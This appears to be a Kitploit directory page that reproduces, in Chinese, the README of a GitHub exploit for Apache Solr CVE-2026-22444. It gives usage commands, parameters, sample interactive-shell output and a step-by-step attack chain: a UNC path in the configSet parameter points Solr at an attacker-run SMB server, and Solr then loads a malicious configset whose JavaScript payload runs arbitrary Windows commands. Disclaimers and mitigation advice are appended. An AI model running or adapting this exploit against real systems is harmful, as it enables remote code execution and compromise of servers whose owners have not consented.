Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-22444 — Exploit for Apache Solr CVE-2026-22444, leveraging UNC path injection and SMB server to achieve remote code execution via malicious configset and JavaScript payload. | Kitploit
工具/GitHubGitHub/bfdfhdsfdd-crypto/cve-2026-22444
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubbfdfhdsfdd-crypto/cve-2026-22444

CVE-2026-22444

Exploit for Apache Solr CVE-2026-22444, leveraging UNC path injection and SMB server to achieve remote code execution via malicious configset and JavaScript payload.

查看仓库
7个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-22444

Apache Solr UNC Path Validation Vulnerability

概述

CVE-2026-22444 是一个影响 Apache Solr 的安全漏洞,于 2026 年 1 月 20 日左右公开披露。该漏洞源于 Apache Solr 的 "create core" API 在某些 API 参数上的输入验证不足(CWE-20: Improper Input Validation),允许攻击者在 Solr 运行于 "standalone" 模式时绕过安全规则,可能导致数据泄露、远程代码执行 (RCE) 或 NTLM 哈希披露。

具体而言,如果 Solr 未启用认证或用户具有创建核心的权限,攻击者可以通过精心构造的请求滥用该 API 来访问受保护的文件或执行恶意操作。

披露信息

该漏洞于 2025 年被发现并报告给 Apache,并在 oss-security 邮件列表上公开披露:

官方公告: https://www.openwall.com/lists/oss-security/2026/01/20/5

技术细节

该漏洞存在于 CoreContainer.java 中,其中 CoreDescriptor 构造函数在执行 UNC 路径验证之前触发网络操作:

  • instancePath.toAbsolutePath() 可能通过网络解析 UNC 路径
  • Files.exists() 检查执行网络调用
  • Files.newInputStream() 执行网络读取
  • 通过 assertPathAllowed() 进行的路径验证仅在这些操作之后发生
  • 时间线

    • 2025-08-20: 发现漏洞并报告给 Apache
    • 2026-01-20: 公开披露

    仓库内容

    • exploit.py - 概念验证利用脚本
    • files/ - 利用所需的支持文件(configset)
      • rce.js - 远程代码执行 JavaScript payload
      • conf/ - Solr 配置文件
        • solrconfig.xml - 定义恶意更新处理器链
        • schema.xml - Solr schema 定义
        • managed-schema - 托管 schema 文件
    • requirements.txt - Python 依赖

    使用说明

    环境要求

    • Python 3.6+
    • 目标系统需运行 Apache Solr(Windows 系统,独立模式)
    • 目标 Solr 未启用身份验证,或攻击者具有创建核心的权限

    安装依赖

    root@kitploit:~
    pip install -r requirements.txt
    

    依赖包括:

    • requests>=2.25.0 - 用于 HTTP 请求
    • impacket>=0.10.0 - 用于创建 SMB 服务器

    基本使用

    1. 基本攻击(自动检测本地IP)

    root@kitploit:~
    python3 exploit.py <目标IP>
    

    示例:

    root@kitploit:~
    python3 exploit.py 192.168.1.100
    

    2. 指定 Solr 端口

    root@kitploit:~
    python3 exploit.py <目标IP> --port <端口>
    

    示例:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --port 8983
    

    3. 指定 SMB 服务器配置

    root@kitploit:~
    python3 exploit.py <目标IP> --smb-host <SMB服务器IP> --smb-port <SMB端口>
    

    示例:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
    

    4. 自定义 SMB 共享名称

    root@kitploit:~
    python3 exploit.py <目标IP> --share-name <共享名称>
    

    示例:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --share-name myshare
    

    命令行参数说明

    root@kitploit:~
    位置参数:
      target_host           目标 Solr 服务器 IP 地址
    
    可选参数:
      -h, --help            显示帮助信息并退出
      --port, -p PORT       Solr 服务器端口(默认:8983)
      --smb-host SMB_HOST   SMB 服务器 IP(默认:自动检测本地 IP)
      --smb-port SMB_PORT   SMB 服务器端口(默认:445)
      --share-name SHARE    SMB 共享名称(默认:malicious)
    

    攻击流程

    1. 启动 SMB 服务器:脚本会在本地启动一个 SMB 服务器,共享 files 目录
    2. 创建恶意 Core:向目标 Solr 发送 core 创建请求,指向 SMB 服务器上的恶意 configset
    3. 触发 Payload:Solr 会从 SMB 服务器下载配置文件,其中包含恶意 JavaScript 代码
    4. 执行命令:通过发送更新请求触发 JavaScript payload 执行
    5. 交互式 Shell:成功利用后,会进入交互式命令执行环境

    交互式 Shell 使用

    成功利用后,脚本会提供一个交互式 shell:

    root@kitploit:~
    solr> whoami
    [+] exit_code: 0, status: success
    --- stdout ---
    desktop-abc123\user
    
    solr> dir
    [+] exit_code: 0, status: success
    --- stdout ---
    Volume in drive C has no label.
    ...
    
    solr> exit
    [*] exiting shell...
    

    支持的命令:

    • 任何 Windows CMD 命令
    • exit 或 quit - 退出交互式 shell
    • Ctrl+C - 中断并退出

    工作原理

    该漏洞利用了以下技术链:

    1. UNC 路径注入:通过 configSet 参数注入 UNC 路径(例如 //attacker-ip/share)
    2. SMB 服务器:托管恶意 Solr 配置文件
    3. JavaScript RCE:利用 Solr 的 StatelessScriptUpdateProcessorFactory 执行 JavaScript 代码
    4. 命令执行:通过 Java Runtime API 在目标系统上执行任意命令

    高级用法示例

    完整参数示例

    root@kitploit:~
    python3 exploit.py 192.168.35.31 \
      --port 8983 \
      --smb-host 192.168.35.50 \
      --smb-port 445 \
      --share-name exploit
    

    文件结构说明

    root@kitploit:~
    CVE-2026-22444/
    ├── exploit.py              # 主利用脚本
    ├── requirements.txt        # Python 依赖
    ├── files/                  # 恶意 configset
    │   ├── rce.js             # RCE JavaScript payload
    │   └── conf/              # Solr 配置目录
    │       ├── solrconfig.xml # 配置恶意更新处理器
    │       ├── schema.xml     # Schema 定义
    │       └── managed-schema # 托管 schema
    └── README.md              # 本文件
    

    payload 说明

    rce.js:这是核心 RCE payload,它会:

    • 拦截 Solr 的更新操作(add、delete、commit、rollback)
    • 从请求参数中获取 cmd 参数
    • 使用 Java Runtime API 执行命令
    • 捕获 stdout 和 stderr
    • 返回执行结果和退出代码

    solrconfig.xml:配置 Solr 使用恶意的更新处理器链:

    • 定义 rce-chain 更新处理器链
    • 引用 rce.js 脚本
    • 将 /update 请求处理器设置为使用该链

    注意事项

    ⚠️ 警告:此工具仅用于授权的安全测试和教育目的。未经授权使用此工具对系统进行攻击是非法的。

    • 确保在使用前获得明确的书面授权
    • 仅在测试环境或有合法授权的环境中使用
    • 不要在生产系统上使用,除非在受控的渗透测试环境中
    • 使用者需要对自己的行为负责

    防护建议

    1. 升级 Solr:将 Apache Solr 升级到已修复该漏洞的版本
    2. 启用身份验证:确保 Solr 启用了强身份验证机制
    3. 限制 Core 创建权限:仅授予受信任的用户创建 core 的权限
    4. 网络隔离:将 Solr 部署在受保护的网络环境中
    5. 防火墙规则:限制对 Solr 管理接口的访问
    6. 监控异常活动:监控 UNC 路径访问和异常的 core 创建请求

    参考链接

    • Apache Solr 官方网站
    • OSS Security 邮件列表公告
    • CWE-20: Improper Input Validation

    许可证

    本项目遵循 MIT 许可证。请参阅 LICENSE 文件了解详细信息。

    免责声明

    此工具和信息仅供安全研究和教育目的。作者不对因滥用此信息或工具而造成的任何损害负责。使用者应遵守所有适用的法律和法规,并在使用前获得适当的授权。

    下载工具